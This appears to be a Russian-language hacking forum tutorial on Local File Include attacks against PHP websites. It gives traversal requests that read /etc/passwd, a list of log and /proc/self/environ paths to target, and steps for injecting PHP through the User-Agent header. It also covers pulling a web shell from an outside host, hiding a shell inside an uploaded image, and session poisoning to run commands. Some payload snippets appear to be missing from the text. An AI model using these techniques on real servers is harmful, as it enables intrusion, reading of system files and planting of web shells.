Что такое LFI и с чем его едят.
LFI
Иначе говоря,Local File Include.
Внимание! Информация предоставленна, исключительно с целью ознакомления. Автор не несёт ответственность за ваши действия.
Уязвимость позволяет удаленному пользователю получить доступ с помощью специально сформированного запроса к произвольным файлам на сервере.
В общем, грубо говоря, мы можем осуществить чтение php-кода (и не только) из файла при наличии LFI.
Мне, да и другим, чаще всего встречается в различных менеджерах файлов.
Специально, под такой случай нашёл наглядный пример:
http://server/index.php?option=com_j.../etc/passwd%00
Как через эту уязвимость залить шеллл?
Обращаемся к одному из лог-файлов:
Сообщение от
None
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_log
../../../../../../../usr/local/apache/logs/access.log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_log
../../../../../../../usr/local/apache/logs/error.log
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log
../../../../../../../proc/self/environ
../../../../../../../proc/self/cmdline
У меня это proc/self/environ будет. Обращаемся к лог-файлу -
http://server/index.php?option=com_j...elf/environ%00
и видим следующее:
Особенно уделяем внимание данным которые мы передаём, т. е. USER_AGENT (логируется), ACCEPT_ENCODING(не логируется), etc.
Добавим в эти данные код:
В ответ видим такой ответ:
Чтож, всё лучше чем мы думаем — исполняется пхп код!
Заливаем наш шелл на народ, чтобы получилась строка —
http://site.narod.ru/shell.php
Теперь у нас есть два варианта заливки шелла, исполняем этот пхп код или этот
Далее ждём пока страница загрузится, и переходим по адресу
http://server/shell.php и наслаждаемся шеллом!
Так же можно попробывать выполнить php код прямо в адрессной строке, но это только при большой везучести.
http://server/index.php?dir=data:,
Это при*
PHP Version => 5.2.0
allow_url_include = On
Так, едем дальше.
Часто возникают вопросы, а как залить шелл в виде картинки. Вот ответ:
Находишь форум, или другой источник откуда можно загрузить файл изображения. Если анализатор хреновый - он пропустит твою картинку с php кодом внутри, затем можешь исполнить код:
http://server/script.php?file=../../../shell.jpg%00
Так, вроде бы с картинками разобрались.
Так же уязвимость может быть в сессии.
Например:
Заходим на уязвимый сайт, пару раз обновляем и смотрим cookies:
Копируем данные из Content, и делаем такую ядовитую строку, вместе с линуксовой коммандой uname -a:
Showtime! Команда выполнилась, а это значит — ещё один путь для загрузки шелла!
Послесловие.
По сути эта статья - сборник информации по LFI-injection. Это конечно-же не вся информация о LFI-injection но всё-же надеюсь часть информации,
изложенной здесь, поможет системным администраторам и разработчикам принять меры по защите от таких
уязвимостей.
(с)